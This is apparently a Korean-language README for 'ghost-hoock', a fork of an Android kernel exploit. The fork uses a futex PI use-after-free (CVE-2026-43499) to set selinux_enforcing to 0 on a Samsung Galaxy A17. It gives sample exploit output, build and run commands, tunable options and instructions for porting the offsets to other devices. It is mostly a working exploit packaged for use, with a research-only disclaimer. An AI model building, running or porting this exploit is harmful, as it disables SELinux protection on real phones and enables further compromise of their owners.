ghost-hoock

GhostLock의 최소 포크로, 단 하나의 프리미티브만 유지합니다: CVE-2026-43499(futex PI UAF)를 통한 SELinux 비활성화.

목차

• 이것은 무엇인가
• 동작 방식
• 원본에서 유지된 것
• 제거된 것
• 빌드
• 실행
• 요구 사항
• 제한 사항 및 위험
• 프로젝트 구조
• 라이선스
• 크레딧
• 링크

이것은 무엇인가

ghost-hoock은 Mobile Hacking Lab의 GhostLock 익스플로잇을 간소화한 포크로, 단일 프리미티브로 축소되었습니다:

futex PI UAF를 통한 하나의 제한된 쓰기 -> selinux_enforcing = 0.

루트 없음, cred 덮어쓰기 없음, rwforge 채널 없음, UMH 없음, configfs 없음. 취약한 커널에서 SELinux를 permissive 모드로 전환하는 데 필요한 최소한만 포함합니다.

Samsung Galaxy A17 (SM-A175F, BZA5) 에서의 출력 예시:

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

그런 다음:

$ getenforce
Permissive

getenforce가 Permissive를 반환

동작 방식

이 익스플로잇은 CVE-2026-43499 — Linux 커널의 futex PI(Priority Inheritance) rt_mutex 체인에서의 use-after-free — 를 대상으로 합니다. ghost-hoock의 체인은 네 단계입니다:

*(uint64_t *)target = value | color

원본에서 유지된 것

이것은 mobilehackinglab/ghostlock-a17(MIT)의 포크입니다. 다음은 업스트림 익스플로잇에서 1:1로 가져왔습니다:

보조 코드(pr_* 매크로, SYSCHK, pin_to_core, set_limit, set_unbuffer)도 원본에서 그대로 유지됩니다.

제거된 것

원본 GhostLock은 A17에서 완전한 루트를 달성합니다: rwforge 물리적 R/W 채널을 설치하고, cred / real_cred를 패치하고, init creds로 UMH 헬퍼를 실행하고, 로그를 캡처하는 등의 작업을 합니다. ghost-hoock에서는 첫 번째 제한된 쓰기 이후의 모든 것이 제거되었습니다.

원본 GhostLock은 이 포크보다 더 완전하고 강력합니다. ghost-hoock은 대체물이 아닙니다 — SELinux를 끄는 하나의 좁은 작업을 위한 최소 PoC입니다.

빌드

온디바이스 (clang, Termux 또는 adb shell)

$PATH에 clang과 make가 필요합니다. Termux에서 테스트되었으며, 툴체인이 있으면 adb shell을 통해서도 작동합니다.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

출력: ./ghost-hoock (aarch64, PIE).

Android NDK를 통한 빌드 (PC에서)

make NDK=/path/to/android-ndk-r26

또는 수동으로:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

크로스 컴파일 확인

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

실행

# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

옵션

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

환경 변수

· GHOSTLOCK_CORE — 0..N. consumer 스레드가 고정되는 CPU 코어. 기본값: 0. · KPHYS — 0x.... 커널 물리적 로드 주소, P0_KERNEL_PHYS_LOAD와 다를 경우. · PREPARE_SLABS — 4..64. 스프레이 중 준비되는 슬랩 페이지 수. 기본값: 32. · PSELECT_SHIFT — -14..14. fd_set 워드 시프트. 디버그 전용. · FOPS_MAX_ATTEMPTS — 4..72. FOPS 페이로드에 대한 prepare_kernel_page 최대 시도 횟수. · RWF_DEBUG — 임의의 값. 페이로드 구성에서 디버그 라인 출력.

요구 사항

• 기기: Samsung Galaxy A17 SM-A175F (BZA5) — 이 오프셋 테이블이 추출된 대상.
• 커널: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• 컨텍스트: 앱이 아닌 shell SELinux 컨텍스트(u:r:shell:s0)에서 실행해야 합니다.
• 권한: 특별한 것 없음 — 루트가 필요하지 않습니다. 핵심은 루트 없이 SELinux를 비활성화하는 것입니다.

포팅: 다른 기기/커널은 자체 오프셋 테이블이 필요합니다. 해당 빌드의 vmlinux/kallsyms에서 추출한 심볼 오프셋으로 include/offsets_bza5.h에 새 OFFSETS_ENTRY(...)를 추가한 다음 재빌드하세요.

제한 사항 및 위험

• 커널 패닉이 발생할 수 있습니다. 이 포크는 원본의 위험을 물려받습니다: 잘못된 page_base 또는 관련 없는 메모리에 안착하는 쓰기는 커널을 크래시시킵니다. 이 포크는 원본보다 표면이 적으므로(rwforge, cred 패치, UMH 없음) 통계적으로 더 안전하지만, 100% 방탄은 아닙니다.
• BZA5에서는 KASLR이 꺼져 있습니다. 이 익스플로잇은 slide = 0에 의존합니다. 이 포크에는 KASLR 유출이 없습니다. KASLR이 활성화된 커널로 포팅하는 경우, 원본에서 slide.c를 다시 가져와야 합니다.
• SELinux 전용. 이 포크는 루트를 제공하지 않습니다. selinux_enforcing에 0을 쓸 뿐입니다. 루트가 필요하면 전체 ghostlock-a17을 사용하세요.
• 단일 쓰기. Write 1(selinux_enforcing = 0)만 유지됩니다. PI 경로를 깊이 이해하지 않고서는 Write 2나 rwforge 파이프라인으로 확장하려 하지 마세요.
• 쓰기가 약 20회 시도 내에 안착해야 합니다. 첫 W1 시도가 실패하면 루프가 재시도합니다. 대부분 유휴 상태인 시스템의 새 부팅에서는 일반적으로 시도 1에서 안착합니다.

프로젝트 구조

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

라이선스

MIT — 업스트림 ghostlock-a17과 동일합니다. LICENSE를 참조하세요.

이 포크는 mobilehackinglab(2026)의 원본 저작권 고지를 유지하고, MIT 조건에 따라 그 위에 포크 저자를 추가합니다.

이 프로젝트는 자신의 기기에 대한 보안 연구 목적으로만 공개됩니다. 소유하지 않은 기기에 대해 실행하는 것은 대부분의 관할권에서 불법입니다.

크레딧

• Mobile Hacking Lab — 이 포크의 기반이 된 원본 ghostlock-a17 익스플로잇.
• IAIK KernelSnitch — mm_struct 유출 기법.
• 원본 CVE-2026-43499 연구자들 — futex PI UAF를 리버스 엔지니어링한 공로.

링크

• 업스트림 익스플로잇: https://github.com/mobilehackinglab/ghostlock-a17
• 이 포크: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{연구용으로 제작되었습니다. 단일 물리 기기에서 테스트되었습니다. 사용에 따른 책임은 본인에게 있습니다.}